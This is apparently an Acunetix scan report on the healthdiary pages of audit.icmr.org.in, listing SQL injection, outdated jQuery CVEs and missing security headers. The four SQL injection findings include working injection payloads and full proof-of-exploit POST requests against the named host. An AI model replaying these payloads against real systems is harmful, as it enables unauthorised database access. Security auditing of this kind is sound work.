Acunetix
by Invicti

Developer Report

Acunetix Security Audit

2024-03-13

Generated by Acunetix

Scan of audit.icmr.org.in

Scan details

Scan information	
Start time	2024-03-13T10:23:12.216166+05:30
Start url	https://audit.icmr.org.in/healthdiary/
Host	audit.icmr.org.in
Scan time	24 minutes, 46 seconds
Profile	Full Scan
Responsive	True
Server OS	Unknown
Application build	24.2.240227118

Threat level

Acunetix Threat Level 4

One or more critical-severity type vulnerabilities have been discovered by the scanner. A malicious user can exploit these vulnerabilities and compromise the backend database and/or deface your website.

Alerts distribution

Total alerts found	17
Critical	4
High	0
Medium	6
Low	3
Informational	4

Alerts summary

SQL Injection

Classification	
CVSS4	CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N Base Score: 9.3 Attack Vector: Network Attack Complexity: Low Privileges Required: None User Interaction: None Confidentiality Impact to the Vulnerable System: High Integrity Impact to the Vulnerable System: High Availability Impact to the Vulnerable System: None Confidentiality Impact to the Subsequent System: None Integrity Impact to the Subsequent System: None Availability Impact to the Subsequent System: None
CVSS3	CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N Base Score: 10.0 Attack Vector: Network Attack Complexity: Low Privileges Required: None User Interaction: None Scope: Changed Confidentiality Impact: High Integrity Impact: High Availability Impact: None
CVSS2	Base Score: 6.8 Access Vector: Network_accessible Access Complexity: Medium Authentication: None Confidentiality Impact: Partial Integrity Impact: Partial Availability Impact: Partial Exploitability: Not_defined Remediation Level: Not_defined Report Confidence: Not_defined Availability Requirement: Not_defined Collateral Damage Potential: Not_defined Confidentiality Requirement: Not_defined Integrity Requirement: Not_defined Target Distribution: Not_defined
CWE	CWE-89

Affected items	Variation
/healthdiary/find.php	1
/healthdiary/findhindi.php	1
/healthdiary/form1.php	1
/healthdiary/hindiform1.php	1

HTTP Strict Transport Security (HSTS) Policy Not Enabled

Classification

CVSS4	CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:N/SI:N/SA:N Base Score: 0.0 Attack Vector: Network Attack Complexity: Low Privileges Required: None User Interaction: Active Confidentiality Impact to the Vulnerable System: None Integrity Impact to the Vulnerable System: None Availability Impact to the Vulnerable System: None Confidentiality Impact to the Subsequent System: None Integrity Impact to the Subsequent System: None Availability Impact to the Subsequent System: None
CVSS3	CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:N/A:N Base Score: 0.0 Attack Vector: Network Attack Complexity: Low Privileges Required: None User Interaction: Required Scope: Changed Confidentiality Impact: None Integrity Impact: None Availability Impact: None
CVSS2	Base Score: 0.0 Access Vector: Network_accessible Access Complexity: Low Authentication: None Confidentiality Impact: None Integrity Impact: None Availability Impact: None Exploitability: Not_defined Remediation Level: Not_defined Report Confidence: Not_defined Availability Requirement: Not_defined Collateral Damage Potential: Not_defined Confidentiality Requirement: Not_defined Integrity Requirement: Not_defined Target Distribution: Not_defined
CWE	CWE-16

Affected items	Variation
Web Server	1

jQuery Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') Vulnerability

Classification

CVSS4	CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N Base Score: 5.1 Attack Vector: Network Attack Complexity: Low Privileges Required: None User Interaction: Active Confidentiality Impact to the Vulnerable System: None Integrity Impact to the Vulnerable System: None Availability Impact to the Vulnerable System: None Confidentiality Impact to the Subsequent System: Low Integrity Impact to the Subsequent System: Low Availability Impact to the Subsequent System: None
CVSS3	CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N Base Score: 6.1 Attack Vector: Network Attack Complexity: Low Privileges Required: None User Interaction: Required Scope: Changed Confidentiality Impact: Low Integrity Impact: Low Availability Impact: None
CWE	CWE-707
CVE	CVE-2020-11023

Affected items	Variation
Web Server	1

jQuery Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') Vulnerability

Classification	
CVSS4	CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N Base Score: 5.1 Attack Vector: Network Attack Complexity: Low Privileges Required: None User Interaction: Active Confidentiality Impact to the Vulnerable System: None Integrity Impact to the Vulnerable System: None Availability Impact to the Vulnerable System: None Confidentiality Impact to the Subsequent System: Low Integrity Impact to the Subsequent System: Low Availability Impact to the Subsequent System: None
CVSS3	CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N Base Score: 6.1 Attack Vector: Network Attack Complexity: Low Privileges Required: None User Interaction: Required Scope: Changed Confidentiality Impact: Low Integrity Impact: Low Availability Impact: None
CWE	CWE-707
CVE	CVE-2020-23064

Affected items	Variation
Web Server	1

jQuery Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') Vulnerability

Classification	
CVSS4	CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N Base Score: 5.1 Attack Vector: Network Attack Complexity: Low Privileges Required: None User Interaction: Active Confidentiality Impact to the Vulnerable System: None Integrity Impact to the Vulnerable System: None Availability Impact to the Vulnerable System: None Confidentiality Impact to the Subsequent System: Low Integrity Impact to the Subsequent System: Low Availability Impact to the Subsequent System: None
CVSS3	CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N Base Score: 6.1 Attack Vector: Network Attack Complexity: Low Privileges Required: None User Interaction: Required Scope: Changed Confidentiality Impact: Low Integrity Impact: Low Availability Impact: None
CWE	CWE-707
CVE	CVE-2020-11022

Affected items	Variation
Web Server	1

JQuery Prototype Pollution Vulnerability

Classification	
CVSS4	CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N Base Score: 5.1 Attack Vector: Network Attack Complexity: Low Privileges Required: None User Interaction: Active Confidentiality Impact to the Vulnerable System: None Integrity Impact to the Vulnerable System: None Availability Impact to the Vulnerable System: None Confidentiality Impact to the Subsequent System: Low Integrity Impact to the Subsequent System: Low Availability Impact to the Subsequent System: None

CVSS3	CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N Base Score: 6.1 Attack Vector: Network Attack Complexity: Low Privileges Required: None User Interaction: Required Scope: Changed Confidentiality Impact: Low Integrity Impact: Low Availability Impact: None
CVE	CVE-2019-11358

Affected items	Variation
Web Server	1

Vulnerable JavaScript libraries

Classification	
CVSS4	CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N Base Score: 6.9 Attack Vector: Network Attack Complexity: Low Privileges Required: None User Interaction: None Confidentiality Impact to the Vulnerable System: Low Integrity Impact to the Vulnerable System: Low Availability Impact to the Vulnerable System: None Confidentiality Impact to the Subsequent System: None Integrity Impact to the Subsequent System: None Availability Impact to the Subsequent System: None
CVSS3	CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N Base Score: 6.5 Attack Vector: Network Attack Complexity: Low Privileges Required: None User Interaction: None Scope: Unchanged Confidentiality Impact: Low Integrity Impact: Low Availability Impact: None
CVSS2	Base Score: 6.4 Access Vector: Network_accessible Access Complexity: Low Authentication: None Confidentiality Impact: Partial Integrity Impact: Partial Availability Impact: None Exploitability: Not_defined Remediation Level: Not_defined Report Confidence: Not_defined Availability Requirement: Not_defined Collateral Damage Potential: Not_defined Confidentiality Requirement: Not_defined Integrity Requirement: Not_defined Target Distribution: Not_defined
CWE	CWE-937

Affected items	Variation
Web Server	1

Clickjacking: CSP frame-ancestors missing

Classification	
CVSS4	CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N Base Score: 5.1 Attack Vector: Network Attack Complexity: Low Privileges Required: None User Interaction: Active Confidentiality Impact to the Vulnerable System: None Integrity Impact to the Vulnerable System: Low Availability Impact to the Vulnerable System: None Confidentiality Impact to the Subsequent System: None Integrity Impact to the Subsequent System: None Availability Impact to the Subsequent System: None
CVSS3	CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:N Base Score: 5.8 Attack Vector: Network Attack Complexity: Low Privileges Required: None User Interaction: None Scope: Changed Confidentiality Impact: None Integrity Impact: Low Availability Impact: None
CVSS2	Base Score: 4.3 Access Vector: Network_accessible Access Complexity: Medium Authentication: None Confidentiality Impact: None Integrity Impact: Partial Availability Impact: None Exploitability: Not_defined Remediation Level: Not_defined Report Confidence: Not_defined Availability Requirement: Not_defined Collateral Damage Potential: Not_defined Confidentiality Requirement: Not_defined Integrity Requirement: Not_defined Target Distribution: Not_defined
CWE	CWE-1021

Affected items	Variation
Web Server	1

Cookies with missing, inconsistent or contradictory properties

Classification

CVSS4	CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:N/SI:N/SA:N Base Score: 0.0 Attack Vector: Network Attack Complexity: Low Privileges Required: None User Interaction: Active Confidentiality Impact to the Vulnerable System: None Integrity Impact to the Vulnerable System: None Availability Impact to the Vulnerable System: None Confidentiality Impact to the Subsequent System: None Integrity Impact to the Subsequent System: None Availability Impact to the Subsequent System: None
CVSS3	CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:N Base Score: 0.0 Attack Vector: Network Attack Complexity: Low Privileges Required: None User Interaction: Required Scope: Unchanged Confidentiality Impact: None Integrity Impact: None Availability Impact: None
CVSS2	Base Score: 0.0 Access Vector: Network_accessible Access Complexity: Low Authentication: None Confidentiality Impact: None Integrity Impact: None Availability Impact: None Exploitability: Not_defined Remediation Level: Not_defined Report Confidence: Not_defined Availability Requirement: Not_defined Collateral Damage Potential: Not_defined Confidentiality Requirement: Not_defined Integrity Requirement: Not_defined Target Distribution: Not_defined
CWE	CWE-284

Affected items	Variation
Web Server	1

Programming Error Messages

Classification

CVSS4	CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N Base Score: 6.9 Attack Vector: Network Attack Complexity: Low Privileges Required: None User Interaction: None Confidentiality Impact to the Vulnerable System: Low Integrity Impact to the Vulnerable System: None Availability Impact to the Vulnerable System: None Confidentiality Impact to the Subsequent System: None Integrity Impact to the Subsequent System: None Availability Impact to the Subsequent System: None
CVSS3	CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N Base Score: 5.3 Attack Vector: Network Attack Complexity: Low Privileges Required: None User Interaction: None Scope: Unchanged Confidentiality Impact: Low Integrity Impact: None Availability Impact: None
CVSS2	Base Score: 5.0 Access Vector: Network_accessible Access Complexity: Low Authentication: None Confidentiality Impact: Partial Integrity Impact: None Availability Impact: None Exploitability: Not_defined Remediation Level: Not_defined Report Confidence: Not_defined Availability Requirement: Not_defined Collateral Damage Potential: Not_defined Confidentiality Requirement: Not_defined Integrity Requirement: Not_defined Target Distribution: Not_defined
CWE	CWE-209

Affected items	Variation
Web Server	1

Content Security Policy (CSP) Not Implemented

Classification

CVSS4	CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:N/SI:N/SA:N Base Score: 0.0 Attack Vector: Network Attack Complexity: Low Privileges Required: None User Interaction: Active Confidentiality Impact to the Vulnerable System: None Integrity Impact to the Vulnerable System: None Availability Impact to the Vulnerable System: None Confidentiality Impact to the Subsequent System: None Integrity Impact to the Subsequent System: None Availability Impact to the Subsequent System: None
CVSS3	CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:N/A:N Base Score: 0.0 Attack Vector: Network Attack Complexity: Low Privileges Required: None User Interaction: Required Scope: Changed Confidentiality Impact: None Integrity Impact: None Availability Impact: None
CVSS2	Base Score: 0.0 Access Vector: Network_accessible Access Complexity: Low Authentication: None Confidentiality Impact: None Integrity Impact: None Availability Impact: None Exploitability: Not_defined Remediation Level: Not_defined Report Confidence: Not_defined Availability Requirement: Not_defined Collateral Damage Potential: Not_defined Confidentiality Requirement: Not_defined Integrity Requirement: Not_defined Target Distribution: Not_defined
CWE	CWE-1021

Affected items	Variation
Web Server	1

data: Used in a Content Security Policy (CSP) Directive

Classification	
CWE	CWE-16

Affected items	Variation
Web Server	1

Missing object-src in CSP Declaration

Classification	
CWE	CWE-16

Affected items	Variation
Web Server	1

Permissions-Policy header not implemented

Classification	
CVSS4	CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:N/SI:N/SA:N Base Score: 0.0 Attack Vector: Network Attack Complexity: Low Privileges Required: None User Interaction: Active Confidentiality Impact to the Vulnerable System: None Integrity Impact to the Vulnerable System: None Availability Impact to the Vulnerable System: None Confidentiality Impact to the Subsequent System: None Integrity Impact to the Subsequent System: None Availability Impact to the Subsequent System: None
CVSS3	CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:N/A:N Base Score: 0.0 Attack Vector: Network Attack Complexity: Low Privileges Required: None User Interaction: Required Scope: Changed Confidentiality Impact: None Integrity Impact: None Availability Impact: None
CVSS2	Base Score: 0.0 Access Vector: Network_accessible Access Complexity: Low Authentication: None Confidentiality Impact: None Integrity Impact: None Availability Impact: None Exploitability: Not_defined Remediation Level: Not_defined Report Confidence: Not_defined Availability Requirement: Not_defined Collateral Damage Potential: Not_defined Confidentiality Requirement: Not_defined Integrity Requirement: Not_defined Target Distribution: Not_defined
CWE	CWE-1021

Affected items	Variation
Web Server	1

Alerts details

SQL Injection

Severity	**Critical**
Reported by module	/Scripts/PerScheme/Sql_Injection.script

Description

SQL injection (SQLi) refers to an injection attack wherein an attacker can execute malicious SQL statements that control a web application's database server.

Impact

An attacker can use SQL injection to bypass a web application's authentication and authorization mechanisms and retrieve the contents of an entire database. SQLi can also be used to add, modify and delete records in a database, affecting data integrity. Under the right circumstances, SQLi can also be used by an attacker to execute OS commands, which may then be used to escalate an attack even further.

Recommendation

Use parameterized queries when dealing with SQL queries that contain user input. Parameterized queries allow the database to understand which parts of the SQL query should be considered as user input, therefore solving SQL injection.

References

SQL Injection (SQLi) - Acunetix (https://www.acunetix.com/websitesecurity/sql-injection/)
Types of SQL Injection (SQLi) - Acunetix (https://www.acunetix.com/websitesecurity/sql-injection2/)
Prevent SQL injection vulnerabilities in PHP applications and fix them - Acunetix (https://www.acunetix.com/blog/articles/prevent-sql-injection-vulnerabilities-in-php-applications/)
SQL Injection - OWASP (https://www.owasp.org/index.php/SQL_Injection)
Bobby Tables: A guide to preventing SQL injection (https://bobby-tables.com/)
SQL Injection Cheet Sheets - Pentestmonkey (http://pentestmonkey.net/category/cheat-sheet/sql-injection)

Affected items

/healthdiary/find.php
Verified vulnerability
Details

URL encoded POST input **StudyUID** was set to **-1' OR 3*2*1=6 AND 000748=000748 --**

Tests performed:

- -1' OR 2+748-748-1=0+0+0+1 -- => **TRUE**
- -1' OR 3+748-748-1=0+0+0+1 -- => **FALSE**
- -1' OR 3*2<(0+5+748-748) -- => **FALSE**
- -1' OR 3*2>(0+5+748-748) -- => **FALSE**
- -1' OR 2+1-1+1=1 AND 000748=000748 -- => **FALSE**
- -1' OR 3*2=5 AND 000748=000748 -- => **FALSE**
- -1' OR 3*2=6 AND 000748=000748 -- => **TRUE**
- -1' OR 3*2*0=6 AND 000748=000748 -- => **FALSE**
- -1' OR 3*2*1=6 AND 000748=000748 -- => **TRUE**

Original value: **987-65-4329**

Proof of Exploit

SQL query - SELECT database()

```
healthdiary_db
```

Request headers

```
POST /healthdiary/find.php HTTP/1.1

Content-Type: application/x-www-form-urlencoded

X-Requested-With: XMLHttpRequest

Referer: https://audit.icmr.org.in/healthdiary/

Cookie: PHPSESSID=c97f0724365a94c28ad4676bb3c1af58

Content-Length: 79

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate,br

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/119.0.0.0 Safari/537.36

Host: audit.icmr.org.in

Connection: Keep-alive



StudyUID=-1'%20OR%203*2*1=6%20AND%20000748=000748%20--%20&name=pHqghUme&submit=
```

/healthdiary/findhindi.php

Verified vulnerability

Details

URL encoded POST input **StudyUID** was set to **-1' OR 3*2*1=6 AND 000947=000947 --**

Tests performed:

- -1' OR 2+947-947-1=0+0+0+1 -- => **TRUE**
- -1' OR 3+947-947-1=0+0+0+1 -- => **FALSE**
- -1' OR 3*2<(0+5+947-947) -- => **FALSE**
- -1' OR 3*2>(0+5+947-947) -- => **FALSE**
- -1' OR 2+1-1+1=1 AND 000947=000947 -- => **FALSE**
- -1' OR 3*2=5 AND 000947=000947 -- => **FALSE**
- -1' OR 3*2=6 AND 000947=000947 -- => **TRUE**
- -1' OR 3*2*0=6 AND 000947=000947 -- => **FALSE**
- -1' OR 3*2*1=6 AND 000947=000947 -- => **TRUE**

Original value: **1**

Proof of Exploit

SQL query - SELECT database()

```
healthdiary_db
```

Request headers

```
POST /healthdiary/findhindi.php HTTP/1.1

Content-Type: application/x-www-form-urlencoded

X-Requested-With: XMLHttpRequest

Referer: https://audit.icmr.org.in/healthdiary/

Cookie: PHPSESSID=c97f0724365a94c28ad4676bb3c1af58

Content-Length: 79

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate,br

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/119.0.0.0 Safari/537.36

Host: audit.icmr.org.in

Connection: Keep-alive



StudyUID=-1'%20OR%203*2*1=6%20AND%20000947=000947%20--%20&name=pHqghUme&submit=
```

/healthdiary/form1.php

Verified vulnerability

Details

URL encoded POST input **StudyUID** was set to **-1' OR 3*2*1=6 AND 000414=000414 --**

Tests performed:

- -1' OR 2+414-414-1=0+0+0+1 -- => **TRUE**
- -1' OR 3+414-414-1=0+0+0+1 -- => **FALSE**
- -1' OR 3*2<(0+5+414-414) -- => **FALSE**
- -1' OR 3*2>(0+5+414-414) -- => **FALSE**
- -1' OR 2+1-1+1=1 AND 000414=000414 -- => **FALSE**
- -1' OR 3*2=5 AND 000414=000414 -- => **FALSE**
- -1' OR 3*2=6 AND 000414=000414 -- => **TRUE**
- -1' OR 3*2*0=6 AND 000414=000414 -- => **FALSE**
- -1' OR 3*2*1=6 AND 000414=000414 -- => **TRUE**

Original value: **123**

Proof of Exploit

SQL query - SELECT database()

```
labike_db
```

Request headers

```
POST /healthdiary/form1.php HTTP/1.1

Content-Type: application/x-www-form-urlencoded

Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/
*;q=0.8,application/signed-exchange;v=b3;q=0.7

X-Requested-With: XMLHttpRequest

Referer: https://audit.icmr.org.in/healthdiary/

Cookie: PHPSESSID=c97f0724365a94c28ad4676bb3c1af58

Content-Length: 159

Accept-Encoding: gzip,deflate,br

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/119.0.0.0 Safari/537.36

Host: audit.icmr.org.in

Connection: Keep-alive



Age=1&StudyUID=-1'%20OR%203*2*1=6%20AND%20000414=000414%20--
%20&day_filling_information=2023&health_prob_inmonth=Yes&month_filling_information=Februa
ry&submit=
```

/healthdiary/hindiform1.php

Verified vulnerability

Details

URL encoded POST input **StudyUID** was set to **-1' OR 3*2*1=6 AND 000284=000284 --**

Tests performed:

- -1' OR 2+284-284-1=0+0+0+1 -- => **TRUE**
- -1' OR 3+284-284-1=0+0+0+1 -- => **FALSE**
- -1' OR 3*2<(0+5+284-284) -- => **FALSE**
- -1' OR 3*2>(0+5+284-284) -- => **FALSE**
- -1' OR 2+1-1+1=1 AND 000284=000284 -- => **FALSE**
- -1' OR 3*2=5 AND 000284=000284 -- => **FALSE**
- -1' OR 3*2=6 AND 000284=000284 -- => **TRUE**
- -1' OR 3*2*0=6 AND 000284=000284 -- => **FALSE**
- -1' OR 3*2*1=6 AND 000284=000284 -- => **TRUE**

Original value: **1**

Proof of Exploit

SQL query - SELECT database()

```
labike_db
```

Request headers

```
POST /healthdiary/hindiform1.php HTTP/1.1

Content-Type: application/x-www-form-urlencoded

X-Requested-With: XMLHttpRequest

Referer: https://audit.icmr.org.in/healthdiary/

Cookie: PHPSESSID=c97f0724365a94c28ad4676bb3c1af58

Content-Length: 196

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate,br

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/119.0.0.0 Safari/537.36

Host: audit.icmr.org.in

Connection: Keep-alive



Age=20&StudyUID=-1'%20OR%203*2*1=6%20AND%20000284=000284%20--
%20&day_filling_information=2023&health_prob_inmonth=No&month_filling_information=%E0%A4%
9C%E0%A4%A8%E0%A4%B5%E0%A4%B0%E0%A5%80&submit=
```

HTTP Strict Transport Security (HSTS) Policy Not Enabled

Severity	**Medium**
Reported by module	/httpdata/HSTS_not_implemented.js

Description

HTTP Strict Transport Security (HSTS) tells a browser that a web site is only accessable using HTTPS. It was detected that your web application doesn't implement HTTP Strict Transport Security (HSTS) as the Strict Transport Security header is missing from the response.

Impact

HSTS can be used to prevent and/or mitigate some types of man-in-the-middle (MitM) attacks

Recommendation

It's recommended to implement HTTP Strict Transport Security (HSTS) into your web application. Consult web references for more information

References

hstspreload.org (https://hstspreload.org/)
Strict-Transport-Security (https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Strict-Transport-Security)

Affected items

Web Server

Details

URLs where HSTS is not enabled:

- https://audit.icmr.org.in/healthdiary/css/
- https://audit.icmr.org.in/healthdiary/css/form.css
- https://audit.icmr.org.in/healthdiary/selectlang.php
- https://audit.icmr.org.in/healthdiary/
- https://audit.icmr.org.in/healthdiary/form1.php
- https://audit.icmr.org.in/healthdiary/selectlanghindi.php
- https://audit.icmr.org.in/healthdiary/find.php
- https://audit.icmr.org.in/healthdiary/findhindi.php
- https://audit.icmr.org.in/healthdiary/hindiform1.php

Request headers

```
GET /healthdiary/css/ HTTP/1.1

Referer: https://audit.icmr.org.in/healthdiary/css/

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate,br

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/119.0.0.0 Safari/537.36

Host: audit.icmr.org.in

Connection: Keep-alive
```

jQuery Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') Vulnerability

Severity	**Medium**
Reported by module	/deepscan/javascript_library_audit_deepscan.js

Description

In jQuery versions greater than or equal to 1.0.3 and before 3.5.0, passing HTML containing <option> elements from untrusted sources - even after sanitizing it - to one of jQuery's DOM manipulation methods (i.e. .html(), .append(), and others) may execute untrusted code. This problem is patched in jQuery 3.5.0.

Impact

Recommendation

References

CVE-2020-11023 (https://nvd.nist.gov/vuln/detail/CVE-2020-11023)
CVE-2020-11023 (http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-11023)

Affected items

Web Server
Details
jquery v3.2.1-3.2.1
Request headers

jQuery Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') Vulnerability

Severity	**Medium**
Reported by module	/deepscan/javascript_library_audit_deepscan.js

Description

Cross Site Scripting vulnerability in jQuery 2.2.0 through 3.x before 3.5.0 allows a remote attacker to execute arbitrary code via the <options> element.

Impact

Recommendation

References

CVE-2020-23064 (https://nvd.nist.gov/vuln/detail/CVE-2020-23064)
CVE-2020-23064 (http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-23064)

Affected items

Web Server
Details

jquery v3.2.1-3.2.1
Request headers

jQuery Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') Vulnerability

Severity	**Medium**
Reported by module	/deepscan/javascript_library_audit_deepscan.js

Description

In jQuery versions greater than or equal to 1.2 and before 3.5.0, passing HTML from untrusted sources - even after sanitizing it - to one of jQuery's DOM manipulation methods (i.e. .html(), .append(), and others) may execute untrusted code. This problem is patched in jQuery 3.5.0.

Impact

Recommendation

References

CVE-2020-11022 (https://nvd.nist.gov/vuln/detail/CVE-2020-11022)
CVE-2020-11022 (http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-11022)

Affected items

Web Server
Details
jquery v3.2.1-3.2.1
Request headers

JQuery Prototype Pollution Vulnerability

Severity	**Medium**
Reported by module	/deepscan/javascript_library_audit_deepscan.js

Description

jQuery before 3.4.0, as used in Drupal, Backdrop CMS, and other products, mishandles jQuery.extend(true, {}, ...) because of Object.prototype pollution. If an unsanitized source object contained an enumerable __proto__ property, it could extend the native Object.prototype.

Impact

Recommendation

References

CVE-2019-11358 (https://nvd.nist.gov/vuln/detail/CVE-2019-11358)
CVE-2019-11358 (http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-11358)

Affected items

Web Server
Details
jquery v3.2.1-3.2.1
Request headers

Vulnerable JavaScript libraries

Severity	**Medium**
Reported by module	/deepscan/javascript_library_audit_deepscan.js

Description

You are using one or more vulnerable JavaScript libraries. One or more vulnerabilities were reported for this version of the library. Consult Attack details and Web References for more information about the affected library and the vulnerabilities that were reported.

Impact

Consult References for more information.

Recommendation

Upgrade to the latest version.

Affected items

Web Server
Details

- **jQuery 3.2.1**
  - URL: https://audit.icmr.org.in/healthdiary/find.php
  - Detection method: The library's name and version were determined based on its dynamic behavior.
  - CVE-ID: CVE-2020-11022, CVE-2020-11023, CVE-2019-11358
  - Description: In jQuery versions greater than or equal to 1.2 and before 3.5.0, passing HTML from untrusted sources - even after sanitizing it - to one of jQuery's DOM manipulation methods (i.e. .html(), .append(), and others) may execute untrusted code. This problem is patched in jQuery 3.5.0. / In jQuery versions greater than or equal to 1.0.3 and before 3.5.0, passing HTML containing option elements from untrusted sources - even after sanitizing it - to one of jQuery's DOM manipulation methods (i.e. .html(), .append(), and others) may execute untrusted code. This problem is patched in jQuery 3.5.0. / jQuery mishandles jQuery.extend(true, {}, ...) because of Object.prototype pollution. If an unsanitized source object contained an enumerable __proto__ property, it could extend the native Object.prototype.
  - References:
    - https://blog.jquery.com/2020/04/10/jquery-3-5-0-released/
    - https://mksben.l0.cm/2020/05/jquery3.5.0-xss.html
    - https://jquery.com/upgrade-guide/3.5/
    - https://api.jquery.com/jQuery.htmlPrefilter/
    - https://www.cvedetails.com/cve/CVE-2020-11022/
    - https://github.com/advisories/GHSA-gxr4-xjj5-5px2
    - https://www.cvedetails.com/cve/CVE-2020-11023/
    - https://github.com/advisories/GHSA-jpcq-cgw6-v4j6
    - https://github.com/jquery/jquery/pull/4333
    - https://nvd.nist.gov/vuln/detail/CVE-2019-11358
    - https://nvd.nist.gov/vuln/detail/CVE-2019-5428
    - https://blog.jquery.com/2019/04/10/jquery-3-4-0-released/

Request headers

```
GET /healthdiary/find.php HTTP/1.1

Referer: https://audit.icmr.org.in/healthdiary/selectlang.php

Cookie: PHPSESSID=c97f0724365a94c28ad4676bb3c1af58

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate,br

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/119.0.0.0 Safari/537.36

Host: audit.icmr.org.in

Connection: Keep-alive
```

Clickjacking: CSP frame-ancestors missing

Severity	**Low**
Reported by module	/httpdata/CSP_not_implemented.js

Description

Clickjacking (User Interface redress attack, UI redress attack, UI redressing) is a malicious technique of tricking a Web user into clicking on something different from what the user perceives they are clicking on, thus potentially revealing confidential information or taking control of their computer while clicking on seemingly innocuous web pages.

The server didn't return a **frame-ancestors** directive in the Content-Security-Policy header which means that this website could be at risk of a clickjacking attack. The frame-ancestors directives can be used to indicate whether or not a browser should be allowed to render a page inside a frame. Sites can use this to avoid clickjacking attacks, by ensuring that their content is not embedded into other sites.

Impact

The impact depends on the affected web application.

Recommendation

Configure your web server to include a CSP header with frame-ancestors directive and an X-Frame-Options header. Consult Web references for more information about the possible values for this header.

References

OWASP Clickjacking (https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking_Defense_Cheat_Sheet.html)
CSP: frame-ancestors (https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/frame-ancestors)
The X-Frame-Options response header (https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options)

Affected items

Web Server
Details

Paths without CSP frame-ancestors:

- https://audit.icmr.org.in/healthdiary/selectlang.php
- https://audit.icmr.org.in/healthdiary/
- https://audit.icmr.org.in/healthdiary/form1.php
- https://audit.icmr.org.in/healthdiary/selectlanghindi.php
- https://audit.icmr.org.in/healthdiary/find.php
- https://audit.icmr.org.in/healthdiary/findhindi.php
- https://audit.icmr.org.in/healthdiary/hindiform1.php

Request headers

```
GET /healthdiary/selectlang.php HTTP/1.1

Host: audit.icmr.org.in

Pragma: no-cache

Cache-Control: no-cache

accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/
*;q=0.8,application/signed-exchange;v=b3;q=0.7

accept-language: en-US

upgrade-insecure-requests: 1

Sec-Fetch-Site: same-origin

Sec-Fetch-Mode: navigate

Sec-Fetch-User: ?1

Sec-Fetch-Dest: document

Referer: https://audit.icmr.org.in/

Accept-Encoding: gzip,deflate,br

Connection: keep-alive

